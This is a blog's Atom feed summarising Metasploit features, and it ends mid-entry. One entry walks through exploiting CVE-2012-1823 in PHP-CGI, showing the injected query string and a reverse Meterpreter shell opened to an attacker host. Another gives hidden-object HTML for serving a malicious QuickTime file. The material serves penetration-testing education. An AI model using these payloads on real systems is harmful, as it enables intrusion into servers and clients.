<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DEQGQXgyeSp7ImA9WhNTGUs.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213</id><updated>2012-10-23T00:25:20.691-04:00</updated><category term="rex" /><category term="post" /><category term="exploit" /><title>Metasploit Minute</title><subtitle type="html">The (Too-long Didn't Read) TL;DR version of MSF subversion</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.metasploitminute.com/" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/MetasploitMinute" /><feedburner:info uri="metasploitminute" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEQGQXk7cCp7ImA9WhNTGUs.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-6001061843152389623</id><published>2012-10-22T23:46:00.001-04:00</published><updated>2012-10-23T00:25:20.708-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-10-23T00:25:20.708-04:00</app:edited><title>Feature: find pidsDisclosure Date: Jan 01 1970 Source: (LINK)CVE Details: http://www.cvedetails.com/cve-details.php?cve_id=CVE-Module Author(s):Bug Info: (LINK)Module Info:Block quoted text for Module 'info'Pre based Demo CodeClosing Remarks</title><content type="html">&lt;strong&gt;TL;DR:&lt;/strong&gt;&amp;nbsp;New ability to search through process list with added arguments to Meterpreter's 'ps' command&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: Oct 22 2012&lt;br /&gt;
Source:&amp;nbsp;&lt;a href="https://github.com/rapid7/metasploit-framework/commit/4f9385aab13245d4fdd741aacd004a5129c28db6"&gt;https://github.com/rapid7/metasploit-framework/commit/4f9385aab13245d4fdd741aacd004a5129c28db6&lt;/a&gt;&lt;br /&gt;
Module Author(s): theLightcosine&lt;br /&gt;
'ps' command's new arguments&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; ps -h
Use the command with no arguments to see all running processes.
The following options can be used to filter those results:

OPTIONS:

    -A   Filters processes on architecture (x86 or x86_64)
    -S   Filters processes on the process name using the supplied RegEx
    -U   Filters processes on the user using the supplied RegEx
    -h        Help menu.
    -s        Show only SYSTEM processes
&lt;/pre&gt;
&lt;br /&gt;
Demo '-s' for only SYSTEM processes&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; ps -s
Filtering on SYSTEM processes...

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 4     0     System             x86   0        NT AUTHORITY\SYSTEM
 412   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 452   852   TPAutoConnSvc.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 776   412   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 800   412   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 852   800   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 864   800   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 1028  852   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 1040  852   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 1248  852   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1612  852   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1636  436   rundll32.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\rundll32.exe
 1988  852   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 3432  1636  notepad.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\notepad.exe
 3716  1636  notepad.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\notepad.exe
&lt;/pre&gt;
&lt;br /&gt;
Demo '-S' for RegEx searching process names&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; ps -S winlogon
Filtering on process name...

Process List
============

 PID  PPID  Name          Arch  Session  User                 Path
 ---  ----  ----          ----  -------  ----                 ----
 800  412   winlogon.exe  x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe


meterpreter &amp;gt; ps -S system32
Filtering on process name...
No running processes were found.
meterpreter &amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
Demo '-U' for RegEx searching user names (and subsequently domains)&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; ps -U PROJECTMENTOR
Filtering on user name...

Process List
============

 PID   PPID  Name                Arch  Session  User                Path
 ---   ----  ----                ----  -------  ----                ----
 200   2020  newsid.exe          x86   0        PROJECTMENTOR\jdoe  C:\Documents and Settings\Administrator\Desktop\newsid.exe
 504   1832  TNAGVK~1.EXE        x86   0        PROJECTMENTOR\jdoe  C:\DOCUME~1\jdoe\LOCALS~1\Temp\IXP001.TMP\TNAGVK~1.EXE
 600   2020  vmtoolsd.exe        x86   0        PROJECTMENTOR\jdoe  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 672   2020  Sc322.exe           x86   0        PROJECTMENTOR\jdoe  C:\Documents and Settings\jdoe\Desktop\Sc322.exe
 1172  1040  wfcrun32.exe        x86   0        PROJECTMENTOR\jdoe  C:\Program Files\Citrix\ICA Client\wfcrun32.exe
 1280  2020  concentr.exe        x86   0        PROJECTMENTOR\jdoe  C:\Program Files\Citrix\ICA Client\concentr.exe
 1320  2020  cmd.exe             x86   0        PROJECTMENTOR\jdoe  C:\WINDOWS\system32\cmd.exe
&lt;/pre&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/0nsdg6p2b5o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/6001061843152389623/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2012/10/feature-find-pids-disclosure-date-jan.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6001061843152389623?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6001061843152389623?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/0nsdg6p2b5o/feature-find-pids-disclosure-date-jan.html" title="Feature: find pidsDisclosure Date: Jan 01 1970 Source: (LINK)CVE Details: http://www.cvedetails.com/cve-details.php?cve_id=CVE-Module Author(s):Bug Info: (LINK)Module Info:Block quoted text for Module &amp;#39;info&amp;#39;Pre based Demo CodeClosing Remarks" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2012/10/feature-find-pids-disclosure-date-jan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08FQHw4eSp7ImA9WhJSF08.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-4234955638766028351</id><published>2012-07-08T02:43:00.001-04:00</published><updated>2012-07-08T02:43:31.231-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-07-08T02:43:31.231-04:00</app:edited><title>Custom UserAgents and ServerName HTTP Headers for HTTP(S) Meterpreter</title><content type="html">&lt;b&gt;TL;DR:&lt;/b&gt; On June 26th 2012 &lt;a href="http://eldeeb.net/wrdprs/?p=71" target="_blank"&gt;a post by&amp;nbsp;Sherif Eldeeb&lt;/a&gt; taught how to change the User Agent and Server header used inside of Meterpreter. This functionality is now in trunk.&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: June 26th 2012&lt;br /&gt;
Source:&amp;nbsp;&lt;a href="https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7"&gt;https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7&lt;/a&gt;&lt;br /&gt;
&lt;span style="background-color: white;"&gt;Author(s): Sherif Eldeeb and HD Moore&lt;/span&gt;&lt;br /&gt;
Info:&amp;nbsp;&lt;span style="background-color: white;"&gt;&lt;a href="http://eldeeb.net/wrdprs/?p=71"&gt;http://eldeeb.net/wrdprs/?p=71&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Initial connections have no User Agent:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-VUHPAgIm0-0/T_kqnIYeh8I/AAAAAAAABPg/XBUvc-GY84Q/s1600/Screen+Shot+2012-07-08+at+2.33.29+AM.png" imageanchor="1" style="background-color: white; margin-left: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-VUHPAgIm0-0/T_kqnIYeh8I/AAAAAAAABPg/XBUvc-GY84Q/s1600/Screen+Shot+2012-07-08+at+2.33.29+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="background-color: white;"&gt;If you do a "show advanced" you can see the settings to change for how the Meterpreter payload is supposed to talk:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-bSMDoEDqfSk/T_kq2K-1U_I/AAAAAAAABPo/OBekGstAZTU/s1600/Screen+Shot+2012-07-08+at+2.35.52+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-bSMDoEDqfSk/T_kq2K-1U_I/AAAAAAAABPo/OBekGstAZTU/s1600/Screen+Shot+2012-07-08+at+2.35.52+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And on the wire once it's been set (or in this case left as default):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-1_Kp7bFXkA4/T_kq3WbDZqI/AAAAAAAABPw/6dyio-pahkM/s1600/Screen+Shot+2012-07-08+at+2.35.10+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-1_Kp7bFXkA4/T_kq3WbDZqI/AAAAAAAABPw/6dyio-pahkM/s1600/Screen+Shot+2012-07-08+at+2.35.10+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/rhzydgUFv5k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/4234955638766028351/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2012/07/custom-useragents-and-servername-http.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4234955638766028351?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4234955638766028351?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/rhzydgUFv5k/custom-useragents-and-servername-http.html" title="Custom UserAgents and ServerName HTTP Headers for HTTP(S) Meterpreter" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-VUHPAgIm0-0/T_kqnIYeh8I/AAAAAAAABPg/XBUvc-GY84Q/s72-c/Screen+Shot+2012-07-08+at+2.33.29+AM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2012/07/custom-useragents-and-servername-http.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMGSXw4cSp7ImA9WhJSEUk.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-6748394820628723921</id><published>2012-05-03T22:30:00.001-04:00</published><updated>2012-07-01T08:57:08.239-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-07-01T08:57:08.239-04:00</app:edited><title>CVE 2012-1823 PHP-CGI Bug</title><content type="html">&lt;b&gt;TL;DR:&lt;/b&gt; The bug is two fold, first using a "?-s" after a php file you can read the source of the file. Second with the "?-d" you can make some temporary changes to the execution of php, whereby leading to code execution.&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: Feb 23 2012&lt;br /&gt;
Source:&amp;nbsp;&lt;a href="http://goo.gl/0L4aK"&gt;http://goo.gl/0L4aK&lt;/a&gt;&lt;br /&gt;
CVE Details: &lt;a href="http://www.cvedetails.com/cve-details.php?cve_id=CVE-2012-1823"&gt;http://www.cvedetails.com/cve-details.php?cve_id=CVE-2012-1823&lt;/a&gt;&lt;br /&gt;
Module Author(s): egyp7, hdm&lt;br /&gt;
Bug Info:&amp;nbsp;&lt;a href="http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/"&gt;http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Module Info:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable 
  to an argument injection vulnerability. This module takes advantage 
  of the -d flag to set php.ini directives to achieve code execution. 
  From the advisory: "if there is NO unescaped ‘=’ in the query 
  string, the string is split on ‘+’ (encoded space) characters, 
  urldecoded, passed to a function that escapes shell metacharacters 
  (the “encoded in a system-defined manner” from the RFC) and then 
  passes them to the CGI binary."
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;pre&gt;msf  exploit(php_cgi_arg_injection) &amp;gt; info

       Name: PHP CGI Argument Injection
     Module: exploit/unix/webapp/php_cgi_arg_injection
    Version: $Revision$
   Platform: PHP
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  egypt &lt;egypt@metasploit.com&gt;
  hdm &lt;hdm@metasploit.com&gt;

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        Use a proxy chain
  RHOST      192.168.1.100    yes       The target address
  RPORT      80               yes       The target port
  TARGETURI  /index.php       no        The URI to request
  VHOST                       no        HTTP server virtual host

Payload information:
  Space: 262144

Description:
  When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable 
  to an argument injection vulnerability. This module takes advantage 
  of the -d flag to set php.ini directives to achieve code execution. 
  From the advisory: "if there is NO unescaped ‘=’ in the query 
  string, the string is split on ‘+’ (encoded space) characters, 
  urldecoded, passed to a function that escapes shell metacharacters 
  (the “encoded in a system-defined manner” from the RFC) and then 
  passes them to the CGI binary."

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
  http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

msf  exploit(php_cgi_arg_injection) &amp;gt; show payloads

Compatible Payloads
===================

   Name                         Disclosure Date  Rank    Description
   ----                         ---------------  ----    -----------
   generic/custom                                normal  Custom Payload
   generic/shell_bind_tcp                        normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                     normal  Generic Command Shell, Reverse TCP Inline
   php/bind_perl                                 normal  PHP Command Shell, Bind TCP (via perl)
   php/bind_perl_ipv6                            normal  PHP Command Shell, Bind TCP (via perl) IPv6
   php/bind_php                                  normal  PHP Command Shell, Bind TCP (via php)
   php/bind_php_ipv6                             normal  PHP Command Shell, Bind TCP (via php) IPv6
   php/download_exec                             normal  PHP Executable Download and Execute
   php/exec                                      normal  PHP Execute Command 
   php/meterpreter/bind_tcp                      normal  PHP Meterpreter, Bind TCP Stager IPv6
   php/meterpreter/reverse_tcp                   normal  PHP Meterpreter, PHP Reverse TCP stager
   php/meterpreter_reverse_tcp                   normal  PHP Meterpreter, Reverse TCP Inline
   php/reverse_perl                              normal  PHP Command, Double reverse TCP connection (via perl)
   php/reverse_php                               normal  PHP Command Shell, Reverse TCP (via php)

msf  exploit(php_cgi_arg_injection) &amp;gt; set PAYLOAD php/meterpreter/reverse_tcp
PAYLAOD =&amp;gt; php/meterpreter/reverse_tcp
msf  exploit(php_cgi_arg_injection) &amp;gt; show options

Module options (exploit/unix/webapp/php_cgi_arg_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.100    yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /index.php       no        The URI to request
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.101    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


^Cmsf  exploit(php_cgi_arg_injection) &amp;gt; set LPORT 443
LPORT =&amp;gt; 443
msf  exploit(php_cgi_arg_injection) &amp;gt; exploit

[*] Started reverse handler on 192.168.1.101:443 
"/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
[*] Sending stage (38791 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:443 -&amp;gt; 192.168.1.100:57139) at 2012-05-03 18:42:39 -0400

meterpreter &amp;gt; getuid
Server username: www-data (33)

meterpreter &amp;gt; 

&lt;/hdm@metasploit.com&gt;&lt;/egypt@metasploit.com&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
To create a demo box of your own you can simply install php5-cgi from your favorite package manager, throw a php file into /var/www and a2dismod php5 (disable regular php). No other setup needed.&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/dSxDBqQK-z0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/6748394820628723921/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6748394820628723921?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6748394820628723921?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/dSxDBqQK-z0/cve-2012-1823-php-cgi-bug.html" title="CVE 2012-1823 PHP-CGI Bug" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0IAQ349eCp7ImA9WhdVEU0.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-3510595257604513585</id><published>2011-09-15T12:52:00.000-04:00</published><updated>2011-09-15T12:52:22.060-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-15T12:52:22.060-04:00</app:edited><title>List function addresses in import table r13704</title><content type="html">&lt;strong&gt;TL;DR:&lt;/strong&gt; Actually sinn3r explained it great in the issue ticket used to track the change &lt;a href="http://dev.metasploit.com/redmine/issues/5422"&gt;HERE&lt;/a&gt; - here is the text:&lt;br /&gt;
&lt;blockquote&gt;
This diff adds the ability to show all the function addresses found in the import table of a win binary, which is helpful during the ROP part in exploit dev.&lt;br /&gt;
One thing I need to point out is that the modified code no longer uses Rex::PeParsey::Pe to dump the import table, because that object doesn't seem to give me any information on the function offsets (that's what I need to calculate the address). All I get is the function name, the ordinal, and the library it belongs to. So instead, it uses Metasm::COFF::ImportDirectory.&lt;/blockquote&gt;
Source: &lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13704"&gt;http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13704&lt;/a&gt;&lt;br /&gt;
Module Author(s): &lt;a href="http://dev.metasploit.com/redmine/users/280"&gt;sinn3r&lt;/a&gt;&lt;br /&gt;
&lt;span style="font-family: monospace;"&gt;&lt;span style="white-space: pre;"&gt;&lt;br /&gt; &lt;strong&gt;Before: ./msfpescan -i bob.exe&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre&gt;Imported Functions
==================

Library       Ordinal  Name
-------       -------  ----
MSVCRT.dll    275      _iob
MSVCRT.dll    202      _except_handler3
MSVCRT.dll    129      __set_app_type
MSVCRT.dll    111      __p__fmode
MSVCRT.dll    106      __p__commode
MSVCRT.dll    157      _adjust_fdiv
MSVCRT.dll    131      __setusermatherr
MSVCRT.dll    271      _initterm
MSVCRT.dll    88       __getmainargs
MSVCRT.dll    100      __p___initenv
MSVCRT.dll    72       _XcptFilter
MSVCRT.dll    211      _exit
MSVCRT.dll    390      _onexit
MSVCRT.dll    85       __dllonexit
MSVCRT.dll    707      strrchr
MSVCRT.dll    744      wcsncmp
MSVCRT.dll    179      _close&lt;/pre&gt;
&lt;strong&gt;After: ./msfpescan -i bob.exe&lt;/strong&gt;&lt;br /&gt;
&lt;pre&gt;Imported Functions
==================

Library       Address     Ordinal  Name
-------       -------     -------  ----
MSVCRT.dll    0x0040c0c8  275      _iob
MSVCRT.dll    0x0040c0cc  202      _except_handler3
MSVCRT.dll    0x0040c0d0  129      __set_app_type
MSVCRT.dll    0x0040c0d4  111      __p__fmode
MSVCRT.dll    0x0040c0d8  106      __p__commode
MSVCRT.dll    0x0040c0dc  157      _adjust_fdiv
MSVCRT.dll    0x0040c0e0  131      __setusermatherr
MSVCRT.dll    0x0040c0e4  271      _initterm
MSVCRT.dll    0x0040c0e8  88       __getmainargs
MSVCRT.dll    0x0040c0ec  100      __p___initenv
MSVCRT.dll    0x0040c0f0  72       _XcptFilter
MSVCRT.dll    0x0040c0f4  211      _exit
MSVCRT.dll    0x0040c0f8  390      _onexit
MSVCRT.dll    0x0040c0fc  85       __dllonexit
MSVCRT.dll    0x0040c100  707      strrchr
MSVCRT.dll    0x0040c104  744      wcsncmp
MSVCRT.dll    0x0040c108  179      _close&lt;/pre&gt;
&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/CT3fevlZd2I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/3510595257604513585/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/list-function-addresses-in-import-table.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/3510595257604513585?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/3510595257604513585?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/CT3fevlZd2I/list-function-addresses-in-import-table.html" title="List function addresses in import table r13704" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/list-function-addresses-in-import-table.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQNQXo8cCp7ImA9WhdVEEs.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-8420829425213356809</id><published>2011-09-15T01:09:00.001-04:00</published><updated>2011-09-15T01:09:50.478-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-15T01:09:50.478-04:00</app:edited><title>Add ability to store loot with service objects r13695</title><content type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;&amp;nbsp;This change allows module writers / post and otherwise / the ability to specify the a specific service type (note this is not tied to a port) to a loot item. While this a small change, it's a very important one, keep an eye out for more things to be tied to services and leveraging that data in the future.&lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13695"&gt;http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13695&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We don't have any examples of this yet (if you know of some please point them out), but it's certainly a change to keep in the back of your head.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/sPnm7narYjs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/8420829425213356809/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/add-ability-to-store-loot-with-service.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/8420829425213356809?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/8420829425213356809?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/sPnm7narYjs/add-ability-to-store-loot-with-service.html" title="Add ability to store loot with service objects r13695" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/add-ability-to-store-loot-with-service.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUEFQnwyfSp7ImA9WhdWEk0.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-4945066613361873881</id><published>2011-09-05T03:26:00.003-04:00</published><updated>2011-09-05T03:26:53.295-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-05T03:26:53.295-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><title>CVE 2011-0257 Apple QuickTime PICT PnSize Buffer Overflow r13691</title><content type="html">&lt;b&gt;TL;DR:&lt;/b&gt; This module creates a malicious MOV file that can be served up for a client side exploit. It can be embeded with the &amp;lt;object&amp;gt; HTML tag as so:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="0" width="0"&amp;gt;&lt;br /&gt;
&amp;lt;param name="src" value="msf.mov"&amp;gt;&lt;br /&gt;
&amp;lt;param name="autoplay" value="true"&amp;gt;&lt;br /&gt;
&amp;lt;param name="type" value="video/quicktime" height="0" width="0"&amp;gt;&lt;br /&gt;
&amp;lt;embed src="msf.mov" height="0" width="0" autoplay="true" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/"&amp;gt;&lt;br /&gt;
&amp;lt;/object&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
or planted via usb, or network share, or emailed.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Disclosure Date&lt;/b&gt;: Aug 08 2011&lt;br /&gt;
